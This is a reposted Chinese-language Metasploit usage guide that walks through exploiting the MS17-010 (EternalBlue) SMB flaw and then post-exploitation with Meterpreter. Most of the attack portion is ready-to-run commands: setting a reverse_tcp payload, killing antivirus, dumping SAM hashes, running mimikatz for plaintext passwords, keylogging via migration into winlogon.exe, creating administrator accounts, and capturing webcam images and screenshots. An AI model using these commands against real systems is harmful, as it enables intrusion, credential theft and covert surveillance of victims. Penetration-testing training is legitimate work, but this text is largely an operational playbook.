转载——MSF使用指南
此文章为转载文章
源文章链接如下
https://blog.csdn.net/weixin_45588247/article/details/119614618 |
基础使用
msfconsole #进入框架 |
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入configure.rc
(只要是以.rc
结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc
进行自动攻击!
在MSF中,configure.rc文件是一个用于配置的脚本文件,通常包含一系列用于定制Metasploit的设置和选项的命令。这个文件目的是简化Metasploit的配置过程,使用户能够在启动Metasploit时自动执行一系列配置命令,而不必手动输入。 |
漏洞利用(exploit)
漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
/usr/share/metasploit-framework/modules/exploits |
进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用
进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。
攻击载荷(payload)
Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
payload模块路径:
/usr/share/metasploit-framework/modules/payloads |
Metasploit中的 Payload 模块主要有以下三种类型:
Single: |
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
#Single Payload的格式为: |
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
注:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。
而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。
Stager中几种常见的payload:
windows/meterpreter/bind_tcp #正向连接 |
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
Meterpreter
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工作的?
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点
Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
MS17_010(永恒之蓝)
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是几年前危害全球的勒索病毒利用的永恒之蓝漏洞。
查找漏洞相关模块
在kali命令行里面输入命令msfconsole,进入msf框架中
msfconsole #输入这个命令主要是进入msf渗透框架中 |
搜索MS17_010漏洞
search ms17_010 #利用search命令,搜索漏洞相关利用模块 |
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
利用Auxiliary辅助探测模块
对漏洞进行探测
Auxiliary辅助探测模块
:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测
use auxiliary/scanner/smb/smb_ms17_010 |
查看这个模块需要配置的信息
show options #查看这个模块需要配置的信息 |
设置要探测的远程目标
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
命令:
set rhosts 192.168.100.100-192.168.100.190 |
对上面设置的ip范围内的主机进行攻击
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
exploit |
使用Exploit漏洞利用模块
对漏洞进行利用
选择漏洞攻击模块,对漏洞进行利用
use exploit/windows/smb/ms17_010_eternalblue |
查看这个漏洞的信息
info: #查看这个漏洞的信息 |
查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统
show targets |
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
Payload攻击载荷模块
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
查看攻击载荷
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload |
设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp |
查看模块需要配置的参数
show options |
设置攻击载荷参数
set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip |
进行攻击
后渗透阶段
运行了exploit命令
之后,我们开启了一个reverse TCP监听器
来监听本地的6666
端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter >
出现
Meterpreter的命令用法
Meterpreter > ? |
我们输入: shell
即可切换到目标主机的windows cmd_shell
里面
shell #获取目标主机的cmd_shell权限 |
要想从目标主机shell退出到meterpreter
,我们只需输入:exit
从meterpreter
退出到MSF框架
background #把我们获得的meterpreter会话挂载到后台运行 |
查看前面获得的meterpreter_shell
会话,最前面的数字是会话的id
sessions -l #查看获得的meterpreter_shell会话列表 |
输入sessions [id号]即可进入相应的meterpreter_shell
中
输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台
sysinfo #查看目标主机系统信息 |
Post 后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移 |
输入:sysinfo 查看目标主机的信息:
查看主机是否运行在虚拟机上
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境
run post/windows/gather/checkvm |
关闭杀毒软件
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令
run killav |
获取目标主机的详细信息
run scraper |
它将目标机器上的常见信息收集起来然后下载保存在本地
访问文件系统
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下
pwd #查看当前目录 |
下载文件
download file #命令可以帮助我们从目标系统中下载文件 |
上传文件
upload file #命令则能够向目标系统上传文件。 |
权限提升
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权
getuid |
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
获取用户密码
1.抓取自动登录的密码
很多用户习惯将计算机设置自动登录,可以使用run windows/gather/credentials/windows_autologin
抓取自动登录的用户名和密码
run windows/gather/credentials/windows_autologin |
2.导出密码哈希
run hashdump命令
hashdump
模块可以从SAM数据库
中导出本地用户账号,该命令的使用需要系统权限
在meterpreter_shell
中执行run hashdump
命令
run hashdump |
用户哈希数据的输出格式为
用户名:SID:LM哈希:NTLM哈希::: |
上面我们得到了三个用户账号,分别为Administrator、Guest和test。其中Guest的LM哈希(aad3b435b51404eeaad3b435b51404ee)和NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码
可以看出,test和administrator用户两个密码一样(hash都是:0607f770c2f37e09a850e09e920a9f45),使用在线网站解密
2.run windows/gather/smart_hashdump
命令
run windows/gather/smart_hashdump
命令的使用需要系统权限。该功能更强大,如果当前用户是域管理员用户,则可以导出域内所有用户的hash
三.使用 mimikatz 程序
我们还可以通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码,执行mimikatz必须System权限,并且在执行时,要根据当前的系统位数进行选择。
在meterpreter_shell
的命令行里面查看当前会话的权限,可以看出当前用会话system权限
查看系统位数,可以看出当前系统位数为X64位
选择x64位的mimikatz上传至目标服务器,并且进入mimikatz的交互界面
execute -i -f mimikatz.exe |
在mimikatz交互界面,使用以下两条命令抓取密码
privilege::debug |
运行程序
先查看目标主机安装了哪些应用
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用 |
在meterpreter_shell命令行执行目标系统中的应用程序:
#execute命令用法: |
屏幕截图
截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/
目录下
screenshot #截图目标主机屏幕 |
目标主机的屏幕截图如下
账号创建
先查看目标主机有哪些用户
run post/windows/gather/enum_logged_on_users #查看目标主机有用户 |
在目标系统创建一个新的账户
run getgui -u 用户 -p 密码 |
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!
如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中
键盘记录
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令
keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看; |
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
进程迁移
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter
跟 winlogon.exe
绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps
命令查看目标设备中运行的进程:
我们可以使用:getpid
查看我们当前的进程id
使用:migrate
+目标进程ID
命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter
的pid
已经和 winlogon.exe
一样了
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid
命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate
)命令,系统会自动寻找合适的进程然后迁移。
禁止目标主机使用键盘鼠标
uictl disable(enable) keyboard #禁止(允许)目标使用键盘 |
用目标主机摄像头拍照
webcam_list #获取目标系统的摄像头列表 |
获取目标系统的摄像头列表,可以看到目标主机有一个摄像头:
可以指定的摄像头拍摄照片,可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频,会弹出一个网页,可以查看到摄像头那端的实时录像:
常用库介绍
meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。
load/use命令
load/use #加载模块 |
输入命令:load -l
会列出所有可用的扩展
输入load
后,双击Tab键
列出可用扩展
导入并执行PowerShell脚本
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户
load powershell #加载powershell功能 |
加载stdapi
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
升级Session
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。
结语
后续有需要还会继续整理补充,再次感谢师傅们的文章。